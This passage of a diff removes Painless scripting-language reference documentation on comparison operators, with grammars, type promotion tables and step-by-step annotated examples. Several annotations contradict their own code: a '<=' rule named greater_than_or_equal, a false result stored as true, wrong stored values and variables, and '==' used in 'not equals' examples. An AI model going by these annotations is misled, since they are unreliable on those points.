-resultant `boolean` type value is `true` if the left-hand side value is greater
-than to the right-hand side value and `false` otherwise.
-
-*Errors*
-
-* If either the evaluated left-hand side or the evaluated right-hand side is a
-  non-numeric value.
-
-*Grammar*
-
-[source,ANTLR4]
-----
-greater_than: expression '>' expression;
-----
-
-*Promotion*
-
-[cols="<1,^1,^1,^1,^1,^1,^1,^1,^1"]
-|====
-|        | byte   | short  | char   | int    | long   | float  | double | def
-| byte   | int    | int    | int    | int    | long   | float  | double | def
-| short  | int    | int    | int    | int    | long   | float  | double | def
-| char   | int    | int    | int    | int    | long   | float  | double | def
-| int    | int    | int    | int    | int    | long   | float  | double | def
-| long   | long   | long   | long   | long   | long   | float  | double | def
-| float  | float  | float  | float  | float  | float  | float  | double | def
-| double | double | double | double | double | double | double | double | def
-| def    | def    | def    | def    | def    | def    | def    | def    | def
-|====
-
-*Examples*
-
-* Greater than with different numeric types.
-+
-[source,Painless]
-----
-boolean x = 5 > 4; <1>
-double y = 6.0;    <2>
-x = 6 > y;         <3>
-----
-+
-<1> declare `boolean x`;
-    greater than `int 5` and `int 4` -> `boolean true`;
-    store `boolean true` to `x`;
-<2> declare `double y`;
-    store `double 6.0` to `y`;
-<3> load from `y` -> `double 6.0 @0`;
-    promote `int 6` and `double 6.0`: result `double`;
-    implicit cast `int 6` to `double 6.0 @1` -> `double 6.0 @1`;
-    greater than `double 6.0 @1` and `double 6.0 @0` -> `boolean false`;
-    store `boolean false` to `x`
-+
-* Greater than with `def` type.
-+
-[source,Painless]
-----
-int x = 5;       <1>
-def y = 7.0;     <2>
-def z = y > 6.5; <3>
-def a = x > y;   <4>
-----
-+
-<1> declare `int x`;
-    store `int 5` to `x`
-<2> declare `def y`;
-    implicit cast `double 7.0` to `def` -> `def`;
-    store `def` to `y`
-<3> declare `def z`;
-    load from `y` -> `def`;
-    implicit cast `def` to `double 7.0` -> `double 7.0`;
-    greater than `double 7.0` and `double 6.5` -> `boolean true`;
-    implicit cast `boolean true` to `def` -> `def`;
-    store `def` to `z`
-<4> declare `def a`;
-    load from `y` -> `def`;
-    implicit cast `def` to `double 7.0` -> `double 7.0`;
-    load from `x` -> `int 5`;
-    promote `int 5` and `double 7.0`: result `double`;
-    implicit cast `int 5` to `double 5.0` -> `double 5.0`;
-    greater than `double 5.0` and `double 7.0` -> `boolean false`;
-    implicit cast `boolean false` to `def` -> `def`;
-    store `def` to `z`
-
-[[greater-than-or-equal-operator]]
-==== Greater Than Or Equal
-
-Use the `greater than or equal operator '>='` to COMPARE two numeric type values
-where a resultant `boolean` type value is `true` if the left-hand side value is
-greater than or equal to the right-hand side value and `false` otherwise.
-
-*Errors*
-
-* If either the evaluated left-hand side or the evaluated right-hand side is a
-  non-numeric value.
-
-*Grammar*
-
-[source,ANTLR4]
-----
-greater_than_or_equal: expression '>=' expression;
-----
-
-*Promotion*
-
-[cols="<1,^1,^1,^1,^1,^1,^1,^1,^1"]
-|====
-|        | byte   | short  | char   | int    | long   | float  | double | def
-| byte   | int    | int    | int    | int    | long   | float  | double | def
-| short  | int    | int    | int    | int    | long   | float  | double | def
-| char   | int    | int    | int    | int    | long   | float  | double | def
-| int    | int    | int    | int    | int    | long   | float  | double | def
-| long   | long   | long   | long   | long   | long   | float  | double | def
-| float  | float  | float  | float  | float  | float  | float  | double | def
-| double | double | double | double | double | double | double | double | def
-| def    | def    | def    | def    | def    | def    | def    | def    | def
-|====
-
-*Examples*
-
-* Greater than or equal with different numeric types.
-+
-[source,Painless]
-----
-boolean x = 5 >= 4; <1>
-double y = 6.0;     <2>
-x = 6 >= y;         <3>
-----
-+
-<1> declare `boolean x`;
-    greater than or equal `int 5` and `int 4` -> `boolean true`;
-    store `boolean true` to `x`
-<2> declare `double y`;
-    store `double 6.0` to `y`
-<3> load from `y` -> `double 6.0 @0`;
-    promote `int 6` and `double 6.0`: result `double`;
-    implicit cast `int 6` to `double 6.0 @1` -> `double 6.0 @1`;
-    greater than or equal `double 6.0 @1` and `double 6.0 @0` -> `boolean true`;
-    store `boolean true` to `x`
-+
-* Greater than or equal with the `def` type.
-+
-[source,Painless]
-----
-int x = 5;        <1>
-def y = 7.0;      <2>
-def z = y >= 7.0; <3>
-def a = x >= y;   <4>
-----
-+
-<1> declare `int x`;
-    store `int 5` to `x`;
-<2> declare `def y`
-    implicit cast `double 7.0` to `def` -> `def`;
-    store `def` to `y`
-<3> declare `def z`;
-    load from `y` -> `def`;
-    implicit cast `def` to `double 7.0 @0` -> `double 7.0 @0`;
-    greater than or equal `double 7.0 @0` and `double 7.0 @1` -> `boolean true`;
-    implicit cast `boolean true` to `def` -> `def`;
-    store `def` to `z`
-<4> declare `def a`;
-    load from `y` -> `def`;
-    implicit cast `def` to `double 7.0` -> `double 7.0`;
-    load from `x` -> `int 5`;
-    promote `int 5` and `double 7.0`: result `double`;
-    implicit cast `int 5` to `double 5.0` -> `double 5.0`;
-    greater than or equal `double 5.0` and `double 7.0` -> `boolean false`;
-    implicit cast `boolean false` to `def` -> `def`;
-    store `def` to `z`
-
-[[less-than-operator]]
-==== Less Than
-
-Use the `less than operator '<'` to COMPARE two numeric type values where a
-resultant `boolean` type value is `true` if the left-hand side value is less
-than to the right-hand side value and `false` otherwise.
-
-*Errors*
-
-* If either the evaluated left-hand side or the evaluated right-hand side is a
-  non-numeric value.
-
-*Grammar*
-
-[source,ANTLR4]
-----
-less_than: expression '<' expression;
-----
-
-*Promotion*
-
-[cols="<1,^1,^1,^1,^1,^1,^1,^1,^1"]
-|====
-|        | byte   | short  | char   | int    | long   | float  | double | def
-| byte   | int    | int    | int    | int    | long   | float  | double | def
-| short  | int    | int    | int    | int    | long   | float  | double | def
-| char   | int    | int    | int    | int    | long   | float  | double | def
-| int    | int    | int    | int    | int    | long   | float  | double | def
-| long   | long   | long   | long   | long   | long   | float  | double | def
-| float  | float  | float  | float  | float  | float  | float  | double | def
-| double | double | double | double | double | double | double | double | def
-| def    | def    | def    | def    | def    | def    | def    | def    | def
-|====
-
-*Examples*
-
-* Less than with different numeric types.
-+
-[source,Painless]
-----
-boolean x = 5 < 4; <1>
-double y = 6.0;    <2>
-x = 6 < y;         <3>
-----
-+
-<1> declare `boolean x`;
-    less than `int 5` and `int 4` -> `boolean false`;
-    store `boolean false` to `x`
-<2> declare `double y`;
-    store `double 6.0` to `y`
-<3> load from `y` -> `double 6.0 @0`;
-    promote `int 6` and `double 6.0`: result `double`;
-    implicit cast `int 6` to `double 6.0 @1` -> `double 6.0 @1`;
-    less than `double 6.0 @1` and `double 6.0 @0` -> `boolean false`;
-    store `boolean false` to `x`
-+
-* Less than with the `def` type.
-+
-[source,Painless]
-----
-int x = 5;       <1>
-def y = 7.0;     <2>
-def z = y < 6.5; <3>
-def a = x < y;   <4>
-----
-+
-<1> declare `int x`;
-    store `int 5` to `x`
-<2> declare `def y`;
-    implicit cast `double 7.0` to `def` -> `def`;
-    store `def` to `y`
-<3> declare `def z`;
-    load from `y` -> `def`;
-    implicit cast `def` to `double 7.0` -> `double 7.0`;
-    less than `double 7.0` and `double 6.5` -> `boolean false`;
-    implicit cast `boolean false` to `def` -> `def`;
-    store `def` to `z`
-<4> declare `def a`;
-    load from `y` -> `def`;
-    implicit cast `def` to `double 7.0` -> `double 7.0`;
-    load from `x` -> `int 5`;
-    promote `int 5` and `double 7.0`: result `double`;
-    implicit cast `int 5` to `double 5.0` -> `double 5.0`;
-    less than `double 5.0` and `double 7.0` -> `boolean true`;
-    implicit cast `boolean true` to `def` -> `def`;
-    store `def` to `z`
-
-[[less-than-or-equal-operator]]
-==== Less Than Or Equal
-
-Use the `less than or equal operator '<='` to COMPARE two numeric type values
-where a resultant `boolean` type value is `true` if the left-hand side value is
-less than or equal to the right-hand side value and `false` otherwise.
-
-*Errors*
-
-* If either the evaluated left-hand side or the evaluated right-hand side is a
-  non-numeric value.
-
-*Grammar*
-
-[source,ANTLR4]
-----
-greater_than_or_equal: expression '<=' expression;
-----
-
-*Promotion*
-
-[cols="<1,^1,^1,^1,^1,^1,^1,^1,^1"]
-|====
-|        | byte   | short  | char   | int    | long   | float  | double | def
-| byte   | int    | int    | int    | int    | long   | float  | double | def
-| short  | int    | int    | int    | int    | long   | float  | double | def
-| char   | int    | int    | int    | int    | long   | float  | double | def
-| int    | int    | int    | int    | int    | long   | float  | double | def
-| long   | long   | long   | long   | long   | long   | float  | double | def
-| float  | float  | float  | float  | float  | float  | float  | double | def
-| double | double | double | double | double | double | double | double | def
-| def    | def    | def    | def    | def    | def    | def    | def    | def
-|====
-
-*Examples*
-
-* Less than or equal with different numeric types.
-+
-[source,Painless]
-----
-boolean x = 5 <= 4; <1>
-double y = 6.0;     <2>
-x = 6 <= y;         <3>
-----
-+
-<1> declare `boolean x`;
-    less than or equal `int 5` and `int 4` -> `boolean false`;
-    store `boolean true` to `x`
-<2> declare `double y`;
-    store `double 6.0` to `y`
-<3> load from `y` -> `double 6.0 @0`;
-    promote `int 6` and `double 6.0`: result `double`;
-    implicit cast `int 6` to `double 6.0 @1` -> `double 6.0 @1`;
-    less than or equal `double 6.0 @1` and `double 6.0 @0` -> `boolean true`;
-    store `boolean true` to `x`
-+
-* Less than or equal with the `def` type.
-+
-[source,Painless]
-----
-int x = 5;        <1>
-def y = 7.0;      <2>
-def z = y <= 7.0; <3>
-def a = x <= y;   <4>
-----
-+
-<1> declare `int x`;
-    store `int 5` to `x`;
-<2> declare `def y`;
-    implicit cast `double 7.0` to `def` -> `def`;
-    store `def` to `y`;
-<3> declare `def z`;
-    load from `y` -> `def`;
-    implicit cast `def` to `double 7.0 @0` -> `double 7.0 @0`;
-    less than or equal `double 7.0 @0` and `double 7.0 @1` -> `boolean true`;
-    implicit cast `boolean true` to `def` -> `def`;
-    store `def` to `z`
-<4> declare `def a`;
-    load from `y` -> `def`;
-    implicit cast `def` to `double 7.0` -> `double 7.0`;
-    load from `x` -> `int 5`;
-    promote `int 5` and `double 7.0`: result `double`;
-    implicit cast `int 5` to `double 5.0` -> `double 5.0`;
-    less than or equal `double 5.0` and `double 7.0` -> `boolean true`;
-    implicit cast `boolean true` to `def` -> `def`;
-    store `def` to `z`
-
-[[instanceof-operator]]
-==== Instanceof
-
-Use the `instanceof operator` to COMPARE the variable/field type to a
-specified reference type using the reference type name where a resultant
-`boolean` type value is `true` if the variable/field type is the same as or a
-descendant of the specified reference type and false otherwise.
-
-*Errors*
-
-* If the reference type name doesn't exist as specified by the right-hand side.
-
-*Grammar*
-
-[source,ANTLR4]
-----
-instance_of: ID 'instanceof' TYPE;
-----
-
-*Examples*
-
-* Instance of with different reference types.
-+
-[source,Painless]
-----
-Map m = new HashMap();            <1>
-boolean a = m instanceof HashMap; <2>
-boolean b = m instanceof Map;     <3>
-----
-+
-<1> declare `Map m`;
-    allocate `HashMap` instance -> `HashMap reference`;
-    implicit cast `HashMap reference` to `Map reference`;
-    store `Map reference` to `m`
-<2> declare `boolean a`;
-    load from `m` -> `Map reference`;
-    implicit cast `Map reference` to `HashMap reference` -> `HashMap reference`;
-    instanceof `HashMap reference` and `HashMap` -> `boolean true`;
-    store `boolean true` to `a`
-<3> declare `boolean b`;
-    load from `m` -> `Map reference`;
-    implicit cast `Map reference` to `HashMap reference` -> `HashMap reference`;
-    instanceof `HashMap reference` and `Map` -> `boolean true`;
-    store `true` to `b`;
-    (note `HashMap` is a descendant of `Map`)
-+
-* Instance of with the `def` type.
-+
-[source,Painless]
-----
-def d = new ArrayList();       <1>
-boolean a = d instanceof List; <2>
-boolean b = d instanceof Map;  <3>
-----
-+
-<1> declare `def d`;
-    allocate `ArrayList` instance -> `ArrayList reference`;
-    implicit cast `ArrayList reference` to `def` -> `def`;
-    store `def` to `d`
-<2> declare `boolean a`;
-    load from `d` -> `def`;
-    implicit cast `def` to `ArrayList reference` -> `ArrayList reference`;
-    instanceof `ArrayList reference` and `List` -> `boolean true`;
-    store `boolean true` to `a`;
-    (note `ArrayList` is a descendant of `List`)
-<3> declare `boolean b`;
-    load from `d` -> `def`;
-    implicit cast `def` to `ArrayList reference` -> `ArrayList reference`;
-    instanceof `ArrayList reference` and `Map` -> `boolean false`;
-    store `boolean false` to `a`;
-    (note `ArrayList` is not a descendant of `Map`)
-
-[[equality-equals-operator]]
-==== Equality Equals
-
-Use the `equality equals operator '=='` to COMPARE two values where a resultant
-`boolean` type value is `true` if the two values are equal and `false`
-otherwise. The member method, `equals`, is implicitly called when the values are
-reference type values where the first value is the target of the call and the
-second value is the argument. This operation is null-safe where if both values
-are `null` the resultant `boolean` type value is `true`, and if only one value
-is `null` the resultant `boolean` type value is `false`. A valid comparison is
-between `boolean` type values, numeric type values, or reference type values.
-
-*Errors*
-
-* If a comparison is made between a `boolean` type value and numeric type value.
-* If a comparison is made between a primitive type value and a reference type
-  value.
-
-*Grammar*
-
-[source,ANTLR4]
-----
-equality_equals: expression '==' expression;
-----
-
-*Promotion*
-
-[cols="<1,^1,^1,^1,^1,^1,^1,^1,^1,^1,^1"]
-|====
-|           | boolean | byte   | short  | char   | int    | long   | float  | double | Reference | def
-| boolean   | boolean | -      | -      | -      | -      | -      | -      | -      | -         | def
-| byte      | -       | int    | int    | int    | int    | long   | float  | double | -         | def
-| short     | -       | int    | int    | int    | int    | long   | float  | double | -         | def
-| char      | -       | int    | int    | int    | int    | long   | float  | double | -         | def
-| int       | -       | int    | int    | int    | int    | long   | float  | double | -         | def
-| long      | -       | long   | long   | long   | long   | long   | float  | double | -         | def
-| float     | -       | float  | float  | float  | float  | float  | float  | double | -         | def
-| double    | -       | double | double | double | double | double | double | double | -         | def
-| Reference | -       | -      | -      | -      | -      | -      | -      | -      | Object    | def
-| def       | def     | def    | def    | def    | def    | def    | def    | def    | def       | def
-|====
-
-*Examples*
-
-* Equality equals with the `boolean` type.
-+
-[source,Painless]
-----
-boolean a = true;  <1>
-boolean b = false; <2>
-a = a == false;    <3>
-b = a == b;        <4>
-----
-+
-<1> declare `boolean a`;
-    store `boolean true` to `a`
-<2> declare `boolean b`;
-    store `boolean false` to `b`
-<3> load from `a` -> `boolean true`;
-    equality equals `boolean true` and `boolean false` -> `boolean false`;
-    store `boolean false` to `a`
-<4> load from `a` -> `boolean false @0`;
-    load from `b` -> `boolean false @1`;
-    equality equals `boolean false @0` and `boolean false @1`
-            -> `boolean false`;
-    store `boolean false` to `b`
-+
-* Equality equals with primitive types.
-+
-[source,Painless]
-----
-int a = 1;          <1>
-double b = 2.0;     <2>
-boolean c = a == b; <3>
-c = 1 == a;         <4>
-----
-+
-<1> declare `int a`;
-    store `int 1` to `a`
-<2> declare `double b`;
-    store `double 1.0` to `b`
-<3> declare `boolean c`;
-    load from `a` -> `int 1`;
-    load from `b` -> `double 2.0`;
-    promote `int 1` and `double 2.0`: result `double`;
-    implicit cast `int 1` to `double 1.0` -> `double `1.0`;
-    equality equals `double 1.0` and `double 2.0` -> `boolean false`;
-    store `boolean false` to `c`
-<4> load from `a` -> `int 1 @1`;
-    equality equals `int 1 @0` and `int 1 @1` -> `boolean true`;
-    store `boolean true` to `c`
-+
-* Equal equals with reference types.
-+
-[source,Painless]
-----
-List a = new ArrayList(); <1>
-List b = new ArrayList(); <2>
-a.add(1);                 <3>
-boolean c = a == b;       <4>
-b.add(1);                 <5>
-c = a == b;               <6>
-----
-+
-<1> declare `List a`;
-    allocate `ArrayList` instance -> `ArrayList reference`;
-    implicit cast `ArrayList reference` to `List reference` -> `List reference`;
-    store `List reference` to `a`
-<2> declare `List b`;
-    allocate `ArrayList` instance -> `ArrayList reference`;
-    implicit cast `ArrayList reference` to `List reference` -> `List reference`;
-    store `List reference` to `b`
-<3> load from `a` -> `List reference`;
-    call `add` on `List reference` with arguments (`int 1)`
-<4> declare `boolean c`;
-    load from `a` -> `List reference @0`;
-    load from `b` -> `List reference @1`;
-    call `equals` on `List reference @0` with arguments (`List reference @1`)
-            -> `boolean false`;
-    store `boolean false` to `c`
-<5> load from `b` -> `List reference`;
-    call `add` on `List reference` with arguments (`int 1`)
-<6> load from `a` -> `List reference @0`;
-    load from `b` -> `List reference @1`;
-    call `equals` on `List reference @0` with arguments (`List reference @1`)
-            -> `boolean true`;
-    store `boolean true` to `c`
-+
-* Equality equals with `null`.
-+
-[source,Painless]
-----
-Object a = null;       <1>
-Object b = null;       <2>
-boolean c = a == null; <3>
-c = a == b;            <4>
-b = new Object();      <5>
-c = a == b;            <6>
-----
-+
-<1> declare `Object a`;
-    store `null` to `a`
-<2> declare `Object b`;
-    store `null` to `b`
-<3> declare `boolean c`;
-    load from `a` -> `null @0`;
-    equality equals `null @0` and `null @1` -> `boolean true`;
-    store `boolean true` to `c`
-<4> load from `a` -> `null @0`;
-    load from `b` -> `null @1`;
-    equality equals `null @0` and `null @1` -> `boolean true`;
-    store `boolean true` to `c`
-<5> allocate `Object` instance -> `Object reference`;
-    store `Object reference` to `b`
-<6> load from `a` -> `Object reference`;
-    load from `b` -> `null`;
-    call `equals` on `Object reference` with arguments (`null`)
-            -> `boolean false`;
-    store `boolean false` to `c`
-+
-* Equality equals with the `def` type.
-+
-[source, Painless]
-----
-def a = 0;               <1>
-def b = 1;               <2>
-boolean c = a == b;      <3>
-def d = new HashMap();   <4>
-def e = new ArrayList(); <5>
-c = d == e;              <6>
-----
-+
-<1> declare `def a`;
-    implicit cast `int 0` to `def` -> `def`;
-    store `def` to `a`;
-<2> declare `def b`;
-    implicit cast `int 1` to `def` -> `def`;
-    store `def` to `b`;
-<3> declare `boolean c`;
-    load from `a` -> `def`;
-    implicit cast `a` to `int 0` -> `int 0`;
-    load from `b` -> `def`;
-    implicit cast `b` to `int 1` -> `int 1`;
-    equality equals `int 0` and `int 1` -> `boolean false`;
-    store `boolean false` to `c`
-<4> declare `def d`;
-    allocate `HashMap` instance -> `HashMap reference`;
-    implicit cast `HashMap reference` to `def` -> `def`
-    store `def` to `d`;
-<5> declare `def e`;
-    allocate `ArrayList` instance -> `ArrayList reference`;
-    implicit cast `ArrayList reference` to `def` -> `def`
-    store `def` to `d`;
-<6> load from `d` -> `def`;
-    implicit cast `def` to `HashMap reference` -> `HashMap reference`;
-    load from `e` -> `def`;
-    implicit cast `def` to `ArrayList reference` -> `ArrayList reference`;
-    call `equals` on `HashMap reference` with arguments (`ArrayList reference`)
-            -> `boolean false`;
-    store `boolean false` to `c`
-
-[[equality-not-equals-operator]]
-==== Equality Not Equals
-
-Use the `equality not equals operator '!='` to COMPARE two values where a
-resultant `boolean` type value is `true` if the two values are NOT equal and
-`false` otherwise. The member method, `equals`, is implicitly called when the
-values are reference type values where the first value is the target of the call
-and the second value is the argument with the resultant `boolean` type value
-flipped. This operation is `null-safe` where if both values are `null` the
-resultant `boolean` type value is `false`, and if only one value is `null` the
-resultant `boolean` type value is `true`. A valid comparison is between boolean
-type values, numeric type values, or reference type values.
-
-*Errors*
-
-* If a comparison is made between a `boolean` type value and numeric type value.
-* If a comparison is made between a primitive type value and a reference type
-  value.
-
-*Grammar*
-
-[source,ANTLR4]
-----
-equality_not_equals: expression '!=' expression;
-----
-
-*Promotion*
-
-[cols="<1,^1,^1,^1,^1,^1,^1,^1,^1,^1,^1"]
-|====
-|           | boolean | byte   | short  | char   | int    | long   | float  | double | Reference | def
-| boolean   | boolean | -      | -      | -      | -      | -      | -      | -      | -         | def
-| byte      | -       | int    | int    | int    | int    | long   | float  | double | -         | def
-| short     | -       | int    | int    | int    | int    | long   | float  | double | -         | def
-| char      | -       | int    | int    | int    | int    | long   | float  | double | -         | def
-| int       | -       | int    | int    | int    | int    | long   | float  | double | -         | def
-| long      | -       | long   | long   | long   | long   | long   | float  | double | -         | def
-| float     | -       | float  | float  | float  | float  | float  | float  | double | -         | def
-| double    | -       | double | double | double | double | double | double | double | -         | def
-| Reference | -       | -      | -      | -      | -      | -      | -      | -      | Object    | def
-| def       | def     | def    | def    | def    | def    | def    | def    | def    | def       | def
-|====
-
-*Examples*
-
-* Equality not equals with the `boolean` type.
-+
-[source,Painless]
-----
-boolean a = true;  <1>
-boolean b = false; <2>
-a = a != false;    <3>
-b = a != b;        <4>
-----
-+
-<1> declare `boolean a`;
-    store `boolean true` to `a`
-<2> declare `boolean b`;
-    store `boolean false` to `b`
-<3> load from `a` -> `boolean true`;
-    equality not equals `boolean true` and `boolean false` -> `boolean true`;
-    store `boolean true` to `a`
-<4> load from `a` -> `boolean true`;
-    load from `b` -> `boolean false`;
-    equality not equals `boolean true` and `boolean false` -> `boolean true`;
-    store `boolean true` to `b`
-+
-* Equality not equals with primitive types.
-+
-[source,Painless]
-----
-int a = 1;          <1>
-double b = 2.0;     <2>
-boolean c = a != b; <3>
-c = 1 != a;         <4>
-----
-+
-<1> declare `int a`;
-    store `int 1` to `a`
-<2> declare `double b`;
-    store `double 1.0` to `b`
-<3> declare `boolean c`;
-    load from `a` -> `int 1`;
-    load from `b` -> `double 2.0`;
-    promote `int 1` and `double 2.0`: result `double`;
-    implicit cast `int 1` to `double 1.0` -> `double `1.0`;
-    equality not equals `double 1.0` and `double 2.0` -> `boolean true`;
-    store `boolean true` to `c`
-<4> load from `a` -> `int 1 @1`;
-    equality not equals `int 1 @0` and `int 1 @1` -> `boolean false`;
-    store `boolean false` to `c`
-+
-* Equality not equals with reference types.
-+
-[source,Painless]
-----
-List a = new ArrayList(); <1>
-List b = new ArrayList(); <2>
-a.add(1);                 <3>
-boolean c = a == b;       <4>
-b.add(1);                 <5>
-c = a == b;               <6>
-----
-+
-<1> declare `List a`;
-    allocate `ArrayList` instance -> `ArrayList reference`;
-    implicit cast `ArrayList reference` to `List reference` -> `List reference`;
-    store `List reference` to `a`
-<2> declare `List b`;
-    allocate `ArrayList` instance -> `ArrayList reference`;
-    implicit cast `ArrayList reference` to `List reference` -> `List reference`;
-    store `List reference` to `b`
-<3> load from `a` -> `List reference`;
-    call `add` on `List reference` with arguments (`int 1)`
-<4> declare `boolean c`;
-    load from `a` -> `List reference @0`;
-    load from `b` -> `List reference @1`;
-    call `equals` on `List reference @0` with arguments (`List reference @1`)
-            -> `boolean false`;
-    boolean not `boolean false` -> `boolean true`
-    store `boolean true` to `c`
-<5> load from `b` -> `List reference`;
-    call `add` on `List reference` with arguments (`int 1`)
-<6> load from `a` -> `List reference @0`;
-    load from `b` -> `List reference @1`;
-    call `equals` on `List reference @0` with arguments (`List reference @1`)
-            -> `boolean true`;
-    boolean not `boolean true` -> `boolean false`;
-    store `boolean false` to `c`
-+
-* Equality not equals with `null`.
-+
-[source,Painless]
-----
-Object a = null;       <1>
-Object b = null;       <2>
-boolean c = a == null; <3>
-c = a == b;            <4>
-b = new Object();      <5>
-c = a == b;            <6>
-----
-+
-<1> declare `Object a`;
-    store `null` to `a`
-<2> declare `Object b`;
-    store `null` to `b`
-<3> declare `boolean c`;
-    load from `a` -> `null @0`;
-    equality not equals `null @0` and `null @1` -> `boolean false`;
-    store `boolean false` to `c`
-<4> load from `a` -> `null @0`;
-    load from `b` -> `null @1`;
-    equality not equals `null @0` and `null @1` -> `boolean false`;
-    store `boolean false` to `c`
-<5> allocate `Object` instance -> `Object reference`;
-    store `Object reference` to `b`
-<6> load from `a` -> `Object reference`;
-    load from `b` -> `null`;
-    call `equals` on `Object reference` with arguments (`null`)
-            -> `boolean false`;
-    boolean not `boolean false` -> `boolean true`;
-    store `boolean true` to `c`
-+
-* Equality not equals with the `def` type.
-+
-[source, Painless]
-----
-def a = 0;               <1>
-def b = 1;               <2>
-boolean c = a == b;      <3>
-def d = new HashMap();   <4>
-def e = new ArrayList(); <5>
-c = d == e;              <6>
-----
-+
-<1> declare `def a`;
-    implicit cast `int 0` to `def` -> `def`;
-    store `def` to `a`;
-<2> declare `def b`;
-    implicit cast `int 1` to `def` -> `def`;
-    store `def` to `b`;
-<3> declare `boolean c`;
-    load from `a` -> `def`;
-    implicit cast `a` to `int 0` -> `int 0`;
-    load from `b` -> `def`;
-    implicit cast `b` to `int 1` -> `int 1`;
-    equality equals `int 0` and `int 1` -> `boolean false`;
-    store `boolean false` to `c`
-<4> declare `def d`;
-    allocate `HashMap` instance -> `HashMap reference`;
-    implicit cast `HashMap reference` to `def` -> `def`
-    store `def` to `d`;
-<5> declare `def e`;
-    allocate `ArrayList` instance -> `ArrayList reference`;
-    implicit cast `ArrayList reference` to `def` -> `def`
-    store `def` to `d`;
-<6> load from `d` -> `def`;
-    implicit cast `def` to `HashMap reference` -> `HashMap reference`;
-    load from `e` -> `def`;
-    implicit cast `def` to `ArrayList reference` -> `ArrayList reference`;
-    call `equals` on `HashMap reference` with arguments (`ArrayList reference`)
-            -> `boolean false`;
-    store `boolean false` to `c`
-
-[[identity-equals-operator]]
-==== Identity Equals
-
-Use the `identity equals operator '==='` to COMPARE two values where a resultant
-`boolean` type value is `true` if the two values are equal and `false`
-otherwise. A reference type value is equal to another reference type value if
-both values refer to same instance on the heap or if both values are `null`. A
-valid comparison is between `boolean` type values, numeric type values, or
-reference type values.
-
-*Errors*
-
-* If a comparison is made between a `boolean` type value and numeric type value.
-* If a comparison is made between a primitive type value and a reference type
-  value.
-
-*Grammar*
-
-[source,ANTLR4]
-----
-identity_equals: expression '===' expression;
-----
-
-*Promotion*
-
-[cols="<1,^1,^1,^1,^1,^1,^1,^1,^1,^1,^1"]
-|====
-|           | boolean | byte   | short  | char   | int    | long   | float  | double | Reference | def
-| boolean   | boolean | -      | -      | -      | -      | -      | -      | -      | -         | def
-| byte      | -       | int    | int    | int    | int    | long   | float  | double | -         | def
-| short     | -       | int    | int    | int    | int    | long   | float  | double | -         | def
-| char      | -       | int    | int    | int    | int    | long   | float  | double | -         | def
-| int       | -       | int    | int    | int    | int    | long   | float  | double | -         | def
-| long      | -       | long   | long   | long   | long   | long   | float  | double | -         | def
-| float     | -       | float  | float  | float  | float  | float  | float  | double | -         | def
-| double    | -       | double | double | double | double | double | double | double | -         | def
-| Reference | -       | -      | -      | -      | -      | -      | -      | -      | Object    | def
-| def       | def     | def    | def    | def    | def    | def    | def    | def    | def       | def
-|====
-
-*Examples*
-
-* Identity equals with reference types.
-+
-[source,Painless]
-----
-List a = new ArrayList(); <1>
-List b = new ArrayList(); <2>
-List c = a;               <3>
-boolean c = a === b;      <4>
-c = a === c;              <5>
-----
-+
-<1> declare `List a`;
-    allocate `ArrayList` instance -> `ArrayList reference`;
-    implicit cast `ArrayList reference` to `List reference` -> `List reference`;
-    store `List reference` to `a`
-<2> declare `List b`;
-    allocate `ArrayList` instance -> `ArrayList reference`;
-    implicit cast `ArrayList reference` to `List reference` -> `List reference`;
-    store `List reference` to `b`
-<3> load from `a` -> `List reference`;
-    store `List reference` to `c`
-<4> declare `boolean c`;
-    load from `a` -> `List reference @0`;
-    load from `b` -> `List reference @1`;
-    identity equals `List reference @0` and `List reference @1`
-            -> `boolean false`
-    store `boolean false` to `c`
-<5> load from `a` -> `List reference @0`;
-    load from `c` -> `List reference @1`;
-    identity equals `List reference @0` and `List reference @1`
-            -> `boolean true`
-    store `boolean true` to `c`
-    (note `List reference @0` and `List reference @1` refer to the same
-            instance)
-+
-* Identity equals with `null`.
-+
-[source,Painless]
-----
-Object a = null;        <1>
-Object b = null;        <2>
-boolean c = a === null; <3>
-c = a === b;            <4>
-b = new Object();       <5>
-c = a === b;            <6>
-----
-+
-<1> declare `Object a`;
-    store `null` to `a`
-<2> declare `Object b`;
-    store `null` to `b`
-<3> declare `boolean c`;
-    load from `a` -> `null @0`;
-    identity equals `null @0` and `null @1` -> `boolean true`;
-    store `boolean true` to `c`
-<4> load from `a` -> `null @0`;
-    load from `b` -> `null @1`;
-    identity equals `null @0` and `null @1` -> `boolean true`;
-    store `boolean true` to `c`
-<5> allocate `Object` instance -> `Object reference`;
-    store `Object reference` to `b`
-<6> load from `a` -> `Object reference`;
-    load from `b` -> `null`;
-    identity equals `Object reference` and `null` -> `boolean false`;
-    store `boolean false` to `c`
-+
-* Identity equals with the `def` type.
-+
-[source, Painless]
-----
-def a = new HashMap();   <1>
-def b = new ArrayList(); <2>
-boolean c = a === b;     <3>
-b = a;                   <4>
-c = a === b;             <5>
-----
-+
-<1> declare `def d`;
-    allocate `HashMap` instance -> `HashMap reference`;
-    implicit cast `HashMap reference` to `def` -> `def`
-    store `def` to `d`
-<2> declare `def e`;
-    allocate `ArrayList` instance -> `ArrayList reference`;
-    implicit cast `ArrayList reference` to `def` -> `def`
-    store `def` to `d`
-<3> declare `boolean c`;
-    load from `a` -> `def`;
-    implicit cast `def` to `HashMap reference` -> `HashMap reference`;
-    load from `b` -> `def`;
-    implicit cast `def` to `ArrayList reference` -> `ArrayList reference`;
-    identity equals `HashMap reference` and `ArrayList reference`
-            -> `boolean false`;
-    store `boolean false` to `c`
-<4> load from `a` -> `def`;
-    store `def` to `b`
-<5> load from `a` -> `def`;
-    implicit cast `def` to `HashMap reference @0` -> `HashMap reference @0`;
-    load from `b` -> `def`;
-    implicit cast `def` to `HashMap reference @1` -> `HashMap reference @1`;
-    identity equals `HashMap reference @0` and `HashMap reference @1`
-            -> `boolean true`;
-    store `boolean true` to `b`;
-    (note `HashMap reference @0` and `HashMap reference @1` refer to the same
-            instance)
-
-[[identity-not-equals-operator]]
-==== Identity Not Equals
-
-Use the `identity not equals operator '!=='` to COMPARE two values where a
-resultant `boolean` type value is `true` if the two values are NOT equal and
-`false` otherwise. A reference type value is not equal to another reference type
-value if both values refer to different instances on the heap or if one value is
-`null` and the other is not. A valid comparison is between `boolean` type
-values, numeric type values, or reference type values.
-
-*Errors*
-
-* If a comparison is made between a `boolean` type value and numeric type value.
-* If a comparison is made between a primitive type value and a reference type
-  value.
-
-*Grammar*
-
-[source,ANTLR4]
-----
-identity_not_equals: expression '!==' expression;
-----
-
-*Promotion*
-
